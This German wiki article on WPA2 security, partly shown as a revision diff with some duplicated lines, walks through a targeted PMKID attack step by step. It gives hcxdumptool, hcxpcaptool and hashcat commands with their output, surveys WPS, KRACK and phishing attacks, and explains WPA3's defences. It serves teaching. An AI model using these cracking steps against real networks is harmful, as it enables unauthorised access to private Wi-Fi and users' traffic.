Mit dem Entwurf des neuen WPA3-Standards wurden bei der Suche nach weiteren Angriffsmöglichkeiten Sicherheitslücken innerhalb des von WPA/WPA2 verwendeten 4-Wege-Handshakes gefunden. [https://hashcat.net/forum/thread-7717.html] |
|||
Dieser Angriff von 2018 baut, anders als der zuvor besprochene Angriff, nicht auf das Mitschneiden eines vollständigen 4-Wege-Handshakes auf. Bereits eine einzelne Nachricht des Handshakes reicht aus, da der AP hierbei direkt angegriffen wird. Es ist folglich nicht notwendig einen Nutzer zu belauschen, während er sich authentifiziert. Der Angriff setzt am Robust Security Network Information Element (RSN IE) an, ein optionales Feld innerhalb des 802.11 Management Frames. |
|||
Auch bei diesem Angriff wird mittels eines Brute-Force-Angriffs versucht, das Zugangspasswort eines WLAN-Netzwerks zu erhalten, welches WPA-PSK verwendet. Aufzeichnen muss der Angreifer dazu lediglich einen EAPOL-Frame, d. h. eine Nachricht des 4-Wege-Handshakes. Die Aufzeichnung enthält dabei den Pairwise Master Key Identifier (PMKID), welcher für den Angriff benötigt wird. Die PMKID setzt sich dabei wie folgt zusammen: |
|||
<code>PMKID = HMAC-SHA1-128(PMK, ESSID | BSSID | MAC Client)</code> |
|||
=== Durchführung === |
|||
Der Angriff erfolgt in zwei Schritten: |
|||
# Verbindung zum anzugreifenden AP aufbauen |
|||
# Brute-Force-Angriff auf PMKID |
|||
Zuerst versucht sich der Angreifer mit dem anzugreifenden AP zu verbinden und erhält somit in der ersten Handshake-Nachricht den mitgesendeten PMKID. Da die Parameter |
|||
* ESSID |
|||
* BSSID |
|||
* MAC Client |
|||
* PMKID |
|||
nun bekannt sind, fehlt somit nur noch der verwendete PMK. Dieser PMK kann nun durch den Angriff erraten werden, indem mittels des oben vorgestellten Verfahrens zur Berechnung der PMKID versucht wird, eine Hash-Kollision zu finden. Wurde für einen geratenen PMK eine Kollision festgestellt, kann aus dem PMK der PSK zurückgerechnet werden. Damit ist der Angriff beendet und das Zugangspasswort gefunden. |
|||
=== Angriff über HashCat unter Linux (Kali) === |
|||
Im Folgenden wird beispielhaft ein gezielter PMKID-Angriff auf einen festgelegten AP beschrieben. Im Allgemeinen erfolgt der Angriff mit den hier verwendeten Tools sonst auf irgendeinen der momentan verfügbaren APs. |
|||
==== Voraussetzungen ==== |
|||
Für den Angriff werden folgende Tools benötigt: |
|||
* hcxdumptool v4.2 oder höher (https://github.com/ZerBea/hcxdumptool) |
|||
* hcxtools v4.2 oder höher (https://github.com/ZerBea/hcxtools) |
|||
* hashcat v4.2 oder höher (https://github.com/hashcat/hashcat) |
|||
* anzugreifende(r) Access Point(s) mit aktiviertem Roaming |
|||
Zudem wird ggf. eine Passwortliste benötigt, wenn der Angriff nicht über Reguläre Ausdrücke erfolgen soll. |
|||
==== Vorbereitungen ==== |
|||
Um den Angriff ausführen zu können, muss das Ziel ermittelt und die Netzwerkkarte in den Monitor-Modus versetzt werden. Hierbei ist Schritt 1 (das Ermitteln des Ziels) optional. Wenn dieser Schritt nicht erfolgt, wird der erste AP, von dem eine PMKID empfangen wird, durch die hier verwendeten Tools angegriffen. |
|||
1. Anzugreifende(n) AP(s) ermitteln |
|||
<code>$ sudo iwlist scanning</code> |
|||
Das oben stehende Kommando gibt eine Liste aller momentan verfügbaren APs aus: |
|||
<pre> |
|||
Cell 01 - Address: 12:34:56:78:9A:BC |
|||
Channel:11 |
|||
Frequency:2.437 GHz (Channel 6) |
|||
Quality=63/70 Signal level=-47 dBm |
|||
Encryption key:on |
|||
ESSID:"HackMe!" |
|||
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s |
|||
9 Mb/s; 12 Mb/s; 18 Mb/s |
|||
Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s |
|||
Mode:Master |
|||
Extra:tsf=002001efcf05618 |
|||
Extra: Last beacon: 60ms ago |
|||
IE: Unknown: 0017165249545A21426F78330466F6E20574C414EA03D336630 |
|||
IE: Unknown: 01A800848B96$C325824 |
|||
IE: Unknown: 030106 |
|||
IE: Unknown: 070642452A028C14 |
|||
IE: Unknown: 2A110B |
|||
IE: Unknown: 3204C048A46C |
|||
IE: Unknown: 2D1AAC011BFFFF000000000000000010000100000000000000000000 |
|||
IE: Unknown: 3D1606001700000000000000000000010000000000000000 |
|||
IE: Unknown: 7F080000004500000040 |
|||
IE: Unknown: DD180050F20201120470B3A4000027A4001442535E0C62322FBB |
|||
IE: Unknown: DD0902037F01011100EE7F |
|||
IE: Unknown: DD0C04D41E010102010A610040902 |
|||
IE: IEEE 802.11i/WPA2 Version 1 |
|||
Group Cipher : TKIP |
|||
Pairwise Ciphers (1) : CCMP |
|||
Authentication Suites (1) : PSK |
|||
IE: WPA Version 1 |
|||
Group Cipher : TKIP |
|||
Pairwise Ciphers (1) : TKIP |
|||
Authentication Suites (1) : PSK |
|||
IE: Unknown: DD70F204104A0001101044000102103B000103101942702CF2E02131F26D9F3DC73431C4E3A0261021000341564D1023000446426F1AB18D400043030303010420004303169931054000800060050F20400011011000446418338100800022388103C0001011049000600372A00001 |
|||
</pre> |
|||
Aus dieser Liste müssen nun der/die anzugreifenden APs ausgewählt und deren MAC-Adressen z. B. in der Datei <code>filter.txt</code> gespeichert werden. Die Datei darf max. 32 MAC-Adressen groß sein, wobei in einer Zeile nur eine MAC-Adresse stehen darf. Beispiel: |
|||
<pre> |
|||
123456789ABC |
|||
</pre> |
|||
2. Netzwerkkarte in den Monitor-Modus versetzen |
|||
Zuerst muss die zu verwendende Netzwerkkarte ermittelt werden: |
|||
<pre> |
|||
$ iwconfig |
|||
eth0 no wireless extensions. |
|||
wlan0 IEEE 802.11 ESSID:off/any |
|||
Mode:Managed Access Point: Not-Associated Tx-Power=off |
|||
Retry short long limit:2 RTS thr:off Fragment thr:off |
|||
Encryption key:off |
|||
Power Management:off |
|||
lo no wireless extensions. |
|||
</pre> |
|||
Um nun die Netzwerkkarte <code>wlan0</code> in den Monitor-Modus zu versetzen, ist die Durchführung folgender Befehle notwendig: |
|||
<pre> |
|||
$ sudo systemctl stop wpa_supplicant.service |
|||
$ sudo systemctl stop network-manager.service |
|||
$ sudo ip link set wlan0 down |
|||
$ sudo iw dev wlan0 set type monitor |
|||
$ sudo ip link set wlan0 up |
|||
$ sudo iw dev |
|||
</pre> |
|||
Wurden die Befehle durchgeführt, sollte nun folgende Ausgabe mittels <code>iwconfig</code> erscheinen: |
|||
<pre> |
|||
$ iwconfig |
|||
eth0 no wireless extensions. |
|||
lo no wireless extensions. |
|||
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm |
|||
Retry short long limit:2 RTS thr:off Fragment thr:off |
|||
Power Management:off |
|||
</pre> |
|||
Wird nun <code>Mode:Monitor</code> angegeben, sind die Vorbereitungen abgeschlossen. Zudem hat sich der Interfacename zu <code>wlan0mon</code> geändert, dies ist für die folgende Durchführung relevant. |
|||
==== Durchführung ==== |
|||
Im Folgenden werden die Schritte des Angriffs erklärt. |
|||
1. PMKID erfragen |
|||
Um den PMKID zu erfragen, wird das Tool <code>hcxdumptool</code> verwendet: |
|||
<pre> |
|||
$ sudo hcxdumptool -o test.pcapng -i wlan0mon --filtermode=2 --filterlist=filter.txt --enable_status=1 |
|||
start capturing (stop with ctrl+c) |
|||
INTERFACE:...............: wlan0mon |
|||
FILTERLIST...............: 0 entries |
|||
MAC CLIENT...............: 86a2a0e461f1 (client) |
|||
MAC ACCESS POINT.........: 123456789ABC (start NIC) |
|||
EAPOL TIMEOUT............: 20000 |
|||
DEAUTHENTICATIONINTERVALL: 10 beacons |
|||
GIVE UP DEAUTHENTICATIONS: 20 tries |
|||
REPLAYCOUNTER............: 62083 |
|||
ANONCE...................: 9ddca4288470946305b27d413a28cf674f19ff62c71667e5c1aee144cd50a63 |
|||
[13:29:57 - 011] 86a2a0e461f1 -> 123456789ABC <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4] |
|||
[13:29:57 - 011] 123456789ABC -> 86a2a0e461f1 [ASSOCIATIONRESPONSE, SEQUENCE 1206] |
|||
[13:29:57 - 011] 123456789ABC -> 86a2a0e461f1 [FOUND PMKID] |
|||
</pre> |
|||
Die Parameter haben folgende Bedeutung: |
|||
* <code>-o</code>: Ausgabedatei |
|||
* <code>-i</code>: Das zum Anfragen zu verwendende Interface |
|||
* <code>--filtermode=</code>: OPTIONAL - Gibt an, wie die Mac-Filterliste zu verwenden ist. 1 (default) = Alle AP auf der Liste ignorieren, 2 = Nur die AP der Liste beachten. |
|||
* <code>--filterliste</code>: OPTIONAL - Pfad zu der erstellten Filterliste |
|||
* <code>--enable_status</code>: Ausgabe des Programmstatus auf der Konsole. 1 (default) = aktiviert, 0 = deaktiviert. |
|||
Erscheint die Status-Ausgabe <code>[FOUND PMKID]</code> kann das Programm mit <code>Strg + C</code> beendet werden. |
|||
2. Datei für HashCat aufbereiten |
|||
Dieser Schritt dient dazu den Inhalt der pcap-Datei <code>test.pcapng</code> in ein für HashCat akzepatbles Hash-Format zu überführen. Dazu wird folgender Befehl von <code>hcxtools</code> verwendet: |
|||
<pre> |
|||
$ sud hcxpcaptool -z test.16800 test.pcapng |
|||
start reading from test.pcapng |
|||
summary: |
|||
-------- |
|||
file name....................: test.pcapng |
|||
file type....................: pcapng 1.0 |
|||
file hardware information....: x86_64 |
|||
file os information..........: Linux 4.17.11-arch1 |
|||
file application information.: hcxdumptool 4.2.0 |
|||
network type.................: DLT_IEEE802_11_RADIO (127) |
|||
endianess....................: little endian |
|||
read errors..................: flawless |
|||
packets inside...............: 66 |
|||
skipped packets..............: 0 |
|||
packets with FCS.............: 0 |
|||
beacons (with ESSID inside)..: 17 |
|||
probe requests...............: 1 |
|||
probe responses..............: 11 |
|||
association requests.........: 5 |
|||
association responses........: 5 |
|||
authentications (OPEN SYSTEM): 13 |
|||
authentications (BROADCOM)...: 1 |
|||
EAPOL packets................: 14 |
|||
EAPOL PMKIDs.................: 1 |
|||
1 PMKID(s) written to test.16800 |
|||
</pre> |
|||
Der Inhalt der Datei <code>test.16800</code> sollte wie folgt aussehen: |
|||
<pre> |
|||
2582a8281bf9d4308d6f5731d0e61c61*123456789ABC*86a2a0e461f1*ed487162465a774bfba60eb603a39f3a |
|||
</pre> |
|||
Dabei ist die Reihenfolge: <code>PMKID*BSSID*MAC Client*ESSID</code> . |
|||
3.Passwort ermitteln |
|||
Nun wird HashCat dazu verwendet, das Passwort zu Brute-Forcen. Hierbei benutzen wir Reguläre Ausdrücke. HashCat benötigt dazu eine Grafikkarte. Ist keine Grafikkarte vorhanden, kann mittels <code>--force</code> die Verwendung der CPU erzwungen werden. |
|||
<pre> |
|||
$ sudo hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!' |
|||
hashcat (v4.2.0) starting... |
|||
OpenCL Platform #1: NVIDIA Corporation |
|||
====================================== |
|||
* Device #1: GeForce GTX 1050, 2028/4096 MB allocatable, 20MCU |
|||
Hashes: 1 digests; 1 unique digests, 1 unique salts |
|||
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates |
|||
Applicable optimizers: |
|||
* Zero-Byte |
|||
* Single-Hash |
|||
* Single-Salt |
|||
* Brute-Force |
|||
* Slow-Hash-SIMD-LOOP |
|||
Minimum password length supported by kernel: 8 |
|||
Maximum password length supported by kernel: 63 |
|||
Watchdog: Temperature abort trigger set to 90c |
|||
2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a:hashcat! |
|||
Session..........: hashcat |
|||
Status...........: Cracked |
|||
Hash.Type........: WPA-PMKID-PBKDF2 |
|||
Hash.Target......: 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf...a39f3a |
|||
Time.Started.....: Thu Jul 26 12:51:38 2018 (41 secs) |
|||
Time.Estimated...: Thu Jul 26 12:52:19 2018 (0 secs) |
|||
Guess.Mask.......: ?l?l?l?l?l?lt! [8] |
|||
Guess.Queue......: 1/1 (100.00%) |
|||
Speed.Dev.#1.....: 408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 |
|||
Speed.Dev.#2.....: 408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 |
|||
Speed.Dev.#3.....: 412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 |
|||
Speed.Dev.#4.....: 410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 |
|||
Speed.Dev.#*.....: 1641.3 kH/s |
|||
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts |
|||
Progress.........: 66846720/308915776 (21.64%) |
|||
Rejected.........: 0/66846720 (0.00%) |
|||
Restore.Point....: 0/11881376 (0.00%) |
|||
Candidates.#1....: hariert! -> hhzkzet! |
|||
Candidates.#2....: hdtivst! -> hzxkbnt! |
|||
Candidates.#3....: gnxpwet! -> gwqivst! |
|||
Candidates.#4....: gxhcddt! -> grjmrut! |
|||
HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1 |
|||
HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1 |
|||
HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1 |
|||
HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1 |
|||
Started: Thu Jul 26 12:51:30 2018 |
|||
Stopped: Thu Jul 26 12:52:21 2018 |
|||
</pre> |
|||
Soll eine Passwortliste anstelle Regulärer Ausdrücke gewünscht, ist folgender Befehl zu verwenden: |
|||
<code>$ sudo hashcat -m 16800 test.16800 /Pfad/zur/Passwortliste</code> |
|||
Die Ausgabe sollte ähnlich der obigen aussehen. Wurde das Passwort gefunden, erscheint eine Ausgabe ähnlich der folgenden: |
|||
<code>2582a8281bf9d4308d6f5731d0e61c61*123456789ABC*86a2a0e461f1*ed487162465a774bfba60eb603a39f3a:hashcat!</code> |
|||
In diesem Fall ist das Passwort <code>hashcat!</code>. |
|||
== Weitere Angriffe auf WPA2 == |
|||
Neben den bereits besprochenen Angriffen, gibt es zahlreiche weitere Möglichkeiten, WPA2-Netzwerke anzugreifen. |
|||
=== WPS === |
|||
WPS wurde 2007 eingeführt, um die Verbindung von Client zum AP für den "Otto-Normal-Verbraucher" zu vereinfachen. In WPS gibt es 3 Modi: |
|||
# PIN: Eingabe 8-stelliger numerischer PIN |
|||
# PBC (Push Button Methode): Drücken eines Knopfes auf beiden Seiten (auf 2 Minuten begrenzt) |
|||
# NFC (Near Field Communication): Client baut Datenverbindung per NFC auf (z.B. bei Druckern) war bei einigen Routern standardmäßig aktiviert |
|||
Zunächst war WPS bei vielen Routern standardmäßig aktiviert. Da der PIN-Modus von WPS ist allerdings sehr leicht angreifbar ist, wurde die standardmäßige Aktivierung schon bald wieder rückgängig gemacht. Es ist bekannt, dass der PIN nur aus 8 Zahlen besteht. Zusätzlich bekommt man eine Bestätigung, ob die ersten 4 Ziffern korrekt sind. Die letzte Ziffer ist eine Prüfsumme. Somit braucht man nur <code> 10^4 + 10^3 </code> (also 11000) Kombinationen, um die korrekte PIN zu erraten. Ein Tool, das man für diesen Angriff verwenden kann, ist z. B. Reaver (https://code.google.com/archive/p/reaver-wps/). |
|||
=== KRACK === |
|||
Die Key Reinstallation Attack (kurz KRACK) wurde im Oktober 2017 entdeckt und offenbarte einen Fehler im WPA2-Standard. Dieser ermöglicht einen Man-in-the-Middle-Attack. Da Windows und iOS den Standard nicht korrekt implementiert hatten, waren sie kaum von KRACK betroffen. Mittlerweile wurden auch fast alle anderen Systeme gepachtet Die einzige Ausnahme stellen hierbei alte Android Versionen da (< 6.0), das für ältere Handys generell keine Updates angeboten werden. Einen guten Überblick, wie KRACK funktioniert (hat), bekommt man hier: https://media.ccc.de/v/34c3-9273-kracking_wpa2_by_forcing_nonce_reuse oder im entsprechenden Paper: https://papers.mathyvanhoef.com/ccs2017.pdf . |
|||
=== Phishing === |
|||
Ein aktiver Angriff, der z. B. über das Tool wifiphisher (https://github.com/wifiphisher/wifiphisher) durchgeführt werden kann. |
|||
Dabei tarnt sich der Angreifer als AP und greift die eingegebenen Passwortdaten vom Nutzer ab. |
|||
== WPA3 == |
|||
WPA3 ( '''[[WPA3 Dragonfly Handshake]]''') ist der Nachfolger von WPA2. Der Standard wurde Anfang 2018 angekündigt und soll 2019 in den ersten Geräten vorhanden sein. |
|||
Dabei wurden einige Verbesserungen gegenüber WPA2 entwickelt, die auch Brute-Force-Attacken wie den Offline-Wörterbuchangriff verhindern sollen. |
|||
Dabei wird der WPA2-4-Wege-Handshake beibehalten, zusätzlich aber ein SAE-Handshake vorgeschoben. Der SAE-Handshake etabliert dabei einen neuen PMK. Bei WPA2 ist der PMK für den 4-Wege-Handshake der zuvor geteilte statische Schlüssel (WLAN-Passwort). |
|||
=== Schritte des SAE-Handshakes=== |
|||
Im Folgenden sind die einzelnen Schritte des SAE-Handshakes beschrieben. Es wird dabei ein Variation des Diffie-Hellman-Handshakes ausgeführt, der Authentifizierung erlaubt. |
|||
# Beide Seiten leiten aus dem Preshared Key ein Password Element (PWE) ab. |
|||
# Jede Seite wählt 2 Zufallszahlen ( ''rand'' und ''mask'') und berechnet daraus ein Element ''elem'' und eine Skalenwert ''skal''. ''Rand'' und ''mask'' bilden den private Schlüssel, ''elem'' und ''skal'' den öffentlichen Schlüssel <br/><br/>[[File:SAE_elem_scal.png|frame|center|Formeln für scal und elem]]</br> |
|||
# Sende ''elem'' und ''skal'' jeweils an die andere Seite. |
# Sende ''elem'' und ''skal'' jeweils an die andere Seite. |
||
# Berechne ein geheimes Element ''K'' aus eigenem ''rand'', sowie aus''skal'' und ''elem'' des anderen. |
# Berechne ein geheimes Element ''K'' aus eigenem ''rand'', sowie aus''skal'' und ''elem'' des anderen. <br/><br/>[[File:SAE_2.png|frame|center|Berechnen des geheimen Elements K]]<br/> |
||
# Berechne aus ''K'' einen Intermediate Shared Key ''k''. |
# Berechne aus ''K'' einen Intermediate Shared Key ''k'' mittels einer bijektiven Funktion F. |
||
# Berechne eine Authentication Confirmation Token aus ''k'', eigenem ''skal'' und ''elem'' sowie dem ''skal'' und ''elem'' der anderen Seite. Sende das Token an den Kommunikationspartner. |
# Berechne eine Authentication Confirmation Token aus ''k'', eigenem ''skal'' und ''elem'' sowie dem ''skal'' und ''elem'' der anderen Seite. Sende das Token an den Kommunikationspartner. <br/><br/> |
||
[[File:SAE_3.png|frame|center|Berechnen der Authentication Confirmation Tokens]]<br/>Durch das Token versichern sich die Kommunikationspartner gegenüber einander, dass sie das richtige PWE kennen und das richtige ''k'' berechnet haben. |
|||
# Berechne den Shared Key ''s'' aus ''k'', eigenem ''skal'' und ''elem'' sowie dem ''skal'' und ''elem'' der anderen Seite. |
|||
# Berechne den Shared Key ''s'' aus ''k'', eigenem ''skal'' und ''elem'' sowie dem ''skal'' und ''elem'' der anderen Seite. <br/><br/> |
|||
[[File:SAE_1.png|frame|center|Formel zum Berechnen des Shared Keys]]</br> |
|||
Dieses Geheimnis kann dann im 4-Wege-Handshake anstelle des PMK verwendet werden. |
|||
===Relevante Verbesserungen in WPA3=== |
===Relevante Verbesserungen in WPA3=== |
||
Line 294: | Line 667: | ||
Eine wichtige Verbesserung von WPA3 gegenüber WPA2 ist die Tatsache, dass die zuvor gezeigten Angriffe nicht mehr möglich sein sollten. |
Eine wichtige Verbesserung von WPA3 gegenüber WPA2 ist die Tatsache, dass die zuvor gezeigten Angriffe nicht mehr möglich sein sollten. |
||
# Abwehr gegenüber passiven Attacken: |
# Abwehr gegenüber passiven Attacken:</br>Der Angreifer ist nur in der Lage, die Werte ''elem'' und ''skal'' mit zuschneiden. Die Werte ''rand'' und ''mask'' bleiben unbekannt. <br/> Der Angreifer kann zwar versuchen, Passwörter zu erraten, um ''K'' zu berechnen, woraus sich ''k'' und letztendlich das Geheimnis ''s'' ableiten lässt. Da ihm aber die ''rand''-Werte beider Kommunikationspartner unbekannt sind, kommt dies dem Raten einer Zufallszahl (mit entsprechender Länge) gleich. |
||
# Abwehr gegen |
# Abwehr gegen Wörterbuchangriffe:</br>Um festzustellen, ob ein Angriff erfolgreich war, benötigt der Angreifer Feedback durch das angegriffene System. <br/>Bei WPA2 hat der Angreifer anhand einer MIC oder der PMKID die Möglichkeit, seine Vermutung zu überprüfen. <br/>Da offline Angriffe wie zuvor erwähnt nicht sinnvoll sind, kann der Angreifer lediglich versuchen, sich beim AP mit einem zufälligen geratenen Passwort zu authentifizieren, also einen aktiven Angriff durchzuführen. Da nun jedes mal die Antwort des AP abgewartet werden muss, ist Rechenleistung in diesem Fall nicht von signifikantem Vorteil. |
||
# Schutz bei schwachen Passwörtern: |
# Schutz bei schwachen Passwörtern:</br>Auch wenn der SAE-Handshake resistent gegenüber Wörterbuchangriffen ist, ist die Passwortlänge weiterhin ein Parameter der die Sicherheit beeinflusst. Unabhängig von der Passwortlänge kann der Angreifer das Passwort nur durch wiederholte aktive Angriffe erlangen. |
||
== Einzelnachweise == |
== Einzelnachweise == |
||
Line 305: | Line 678: | ||
* [New Attack on WPA/WPA2 | https://hashcat.net/forum/thread-7717.html] |
* [New Attack on WPA/WPA2 | https://hashcat.net/forum/thread-7717.html] |
||
* [Hashcat, Cracking WPA/WPA2 with hashcat | https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2] |
* [Hashcat, Cracking WPA/WPA2 with hashcat | https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2] |
||
* [freeroute, "WPA/WPA2 PMKID attack step-by-step (hashcat mode 16800)" | https://forum.hashkiller.co.uk/topic-view.aspx?t=25310&m=183251] |
|||
* [ceilers-news, WLAN-Sicherheit 9 - Die Schlüssel von WPA2, Teil 1 | https://www.ceilers-news.de/serendipity/908-WLAN-Sicherheit-9-Die-Schluessel-von-WPA2,-Teil-1.html] |
* [ceilers-news, WLAN-Sicherheit 9 - Die Schlüssel von WPA2, Teil 1 | https://www.ceilers-news.de/serendipity/908-WLAN-Sicherheit-9-Die-Schluessel-von-WPA2,-Teil-1.html] |
||
* [ceilers-news, WLAN-Sicherheit 8 - Der aktuelle Standard-Verschlüsselungsalgorithmus: WPA2 | https://www.ceilers-news.de/serendipity/906-WLAN-Sicherheit-8-Der-aktuelle-Standard-Verschluesselungsalgorithmus-WPA2.html] |
* [ceilers-news, WLAN-Sicherheit 8 - Der aktuelle Standard-Verschlüsselungsalgorithmus: WPA2 | https://www.ceilers-news.de/serendipity/906-WLAN-Sicherheit-8-Der-aktuelle-Standard-Verschluesselungsalgorithmus-WPA2.html] |
||
Line 311: | Line 685: | ||
* [Elektronik Kompendium, WPA2 - WiFi Protected Access 2 / IEEE 802.11i | https://www.elektronik-kompendium.de/sites/net/0907111.htm] |
* [Elektronik Kompendium, WPA2 - WiFi Protected Access 2 / IEEE 802.11i | https://www.elektronik-kompendium.de/sites/net/0907111.htm] |
||
* [Searchnetworking, Wi-Fi-Verschlüsselung: Grundlegendes zu WEP, WPA und WPA2 | https://www.searchnetworking.de/sonderbeitrag/Wi-Fi-Verschluesselung-Grundlegendes-zu-WEP-WPA-und-WPA2] |
* [Searchnetworking, Wi-Fi-Verschlüsselung: Grundlegendes zu WEP, WPA und WPA2 | https://www.searchnetworking.de/sonderbeitrag/Wi-Fi-Verschluesselung-Grundlegendes-zu-WEP-WPA-und-WPA2] |
||
* [Brett Hill, Wireless Authentication and Key Generation | https://www.youtube.com/watch?v=ntGA6V5EciE] |
|||
*[ Mathy Vanhoef, WPA3: Technical Details and Discussion | http://www.mathyvanhoef.com/2018/03/wpa3-technical-details.html] |
|||
* [Guillaume Lehembre, "Wi-Fi security - WEP, WPA and WPA2" | http://tele1.dee.fct.unl.pt/rit2_2015_2016/files/hakin9_wifi_EN.pdf] |
|||
*[D. Harkins, "Simultaneous Authentication of Equals: A Secure, Password-Based Key Exchange for Mesh Networks" | https://www.doi.ieeecomputersociety.org/10.1109/SENSORCOMM.2008.131] |
|||
* [Mathy Vanhoef, WPA3: Technical Details and Discussion | http://www.mathyvanhoef.com/2018/03/wpa3-technical-details.html] |
|||
* [D. Harkins, "Simultaneous Authentication of Equals: A Secure, Password-Based Key Exchange for Mesh Networks" | https://www.doi.ieeecomputersociety.org/10.1109/SENSORCOMM.2008.131] |
|||
* [The Linux Documentation Project, 802.1X Port-Based Authentication HOWTO | https://www.tldp.org/HOWTO/8021X-HOWTO/intro.html] |
|||
<references/> |
|||
* [RFC 2898 - Password-Based Cryptography Version 2.0 | https://www.ietf.org/rfc/rfc2898.txt] |
|||
* [CCC, Datengarten 58 - Circumvent WPA2 | https://media.ccc.de/v/58#t=806] |
Latest revision as of 11:30, 15 October 2018
WiFi Protected Access 2 (WPA2) ist ein Sicherheitsprotokoll zum Schützen drahtloser Heim- und Firmennetzwerke. Dabei wird durch WPA2 der gesamte Netzwerkverkehr der mit dem Netzwerk verbundenen Geräte verschlüsselt sowie weitere Vorkehrungen getroffen, sodass Angreifern das Eindringen in das Netzwerk erschwert wird. Der WPA2-Standard ist eine Erweiterung des Vorgängers WPA. Der Nachfolger des WPA2-Standards wird derzeit unter dem Namen WPA3 entwickelt.
WPA2 hat einige Sicherheitslücken, welche Angriffe auf das WLAN-Passwort des Zielrouters ermöglichen, sofern dieses zu schwach gewählt wurde. Dadurch kann der Angreifer Internetzugriff auf dem Router erhalten und hat die Möglichkeit, den Netzwerkverkehr von Nutzern zu entschlüsseln.
Geschichte
Auf Grund der Sicherheitsprobleme mit dem WEP-Sicherheits standard (Wired Equivalent Privacy) wurde ein Nachfolger gesucht. Ein nachfolgender Sicherheitsstandard war bereits in Arbeit, jedoch wurde eine Zwischenlösung notwendig. Aus diesem Grund wurde daher kurzfristig der WPA-Sicherheitsstandard verabschiedet und etabliert. Dieser sollte nur vorübergehend Verwendung finden, um mehr Zeit für Fertigstellung des anderen Sicherheitsstandards zu haben. Aus den Bemühungen, das symmetrische Verschlüsselungsverfahren Advanced Encryption Standard (AES) in WPA zu integrieren, entstand der aktuelle Sicherheitsstandard WPA2. Dieser wurde 2004 beschlossen und soll im Jahr 2019 endgültig von WPA3 abgelöst werden.
WPA2-Grundlagen
WPA2 stellt einen Sicherheitsstandard zur Verschlüsselung des Netzwerkverkehrs in drahtlosen Netzwerken dar. Als Veschlüsselungsalgorithmus dient dabei der AES, welcher symmetrische Verschlüsselung ermöglicht. Zudem wird das vom Vorgänger verwendete Temporal Key Integrity Protocol (TKIP) weiterhin unterstützt. Zusätzlich wird das Counter Mode with Cipher Block Chaining Message Authentication Code Protocol (CCMP) verwendet.
Zwei verschiedene Einsatzmodi werden durch WPA2 unterstützt. Zum einen den Personal Mode (WPA-PSK), welcher einen Pre-Shared Key (PSK) verwendet (im Allgemeinen auch als "WLAN-Passwort" bezeichnet), zum anderen den WPA Enterprise Mode, welcher einen Authentifizierungsserver zur Anmeldung im WLAN-Netzwerk verwendet.
Zur Kommunikation der im Netzwerk vorhandenen Clienten werden symmetrische Schlüssel verwendet. Dabei wird unterschieden zwischen Schlüsseln für Unicast-Verbindungen (zur Kommunikation zwischen zwei Parteien) und Multicast-Verbindungen (zur Kommunikation zwischen mehreren Parteien). Als Grundlage dient der Pairwise Master Key (PMK), aus welchem alle weiteren Schlüssel für die Kommunikation abgeleitet werden.
WPA-Modi
WPA2 unterstützt den WPA Personal Mode und den WPA Enterprise Mode, welche für unterschiedliche Anwendungszwecke designend wurden.
WPA2 Personal Mode
Der Personal Mode verwendet zur Authentifizierung einen PSK. Dieser muss vor der Anmeldung eines Clienten am Access Point hinterlegt werden. Anschließend kann eine Verbindung mit dem Netzwerk mittels des entsprechenden PSKs aufgebaut werden.
Dieser Modus ist zur Anwendung in privaten Netzwerken oder für kleinere Unternehmen vorgesehen und enthält nicht alle für WPA2 spezifizierten Features. Wird das (in der Regel statische) WLAN-Passwort zu schwach gewählt, wird das Netzwerk angreifbar gegenüber Brute-Force- oder Wörterbuch-Angriffen.
WPA2 Enterprise Mode
Der Enterprise Mode ist zur Verwendung in großen Unternehmen gedacht und entspricht nahezu dem IEEE 802.11i-Standard. Einige Funktionalitäten, wie z. B. das Fast Roaming, fehlen jedoch.
Die Authentifizierung erfolgt im Enterprise Mode über einen gesonderten 802.1x/Radius-Server. Hier können sich Benutzer mit den ihnen zugewiesenen, persönlichen Benutzerdaten gegenüber dem Server authentifizieren. Möchte sich nun ein Client mit einem Access Point (AP) verbinden, wird zuerst nur der Authentifizierungsverkehr durch den AP zu Radius-Server durchgelassen. Ist die Authentifizierung gegenüber dem Radius-Server erfolgreich gewesen, bestätigt der Radius-Server dem AP die Rechtmäßigkeit der Anmeldung. Daraufhin generieren sowohl der Radius-Server als auch der Client den Master Key (MK). Aus dem MK wird nun auf beiden Seiten der PMK abgeleitet. Danach übermittelt der Radius-Server den PMK an den AP und der 4-Wege-Handshake wird durchgeführt. Sobald dieser erfolgreich abgeschlossen wurde, hat der Client Netzwerkzugriff. Bei fehlgeschlagener Authentifizierung teilt der Radius-Server dem AP dies mit. In diesem Fall verwehrt der AP dem Client den Netzwerkzugriff.
Der Einsatz dieser Technik ermöglicht es mehrere APs zu betreiben, zwischen denen der Nutzer wechseln kann ohne dass eine Unterbrechung der Netzwerkverbindung entsteht.
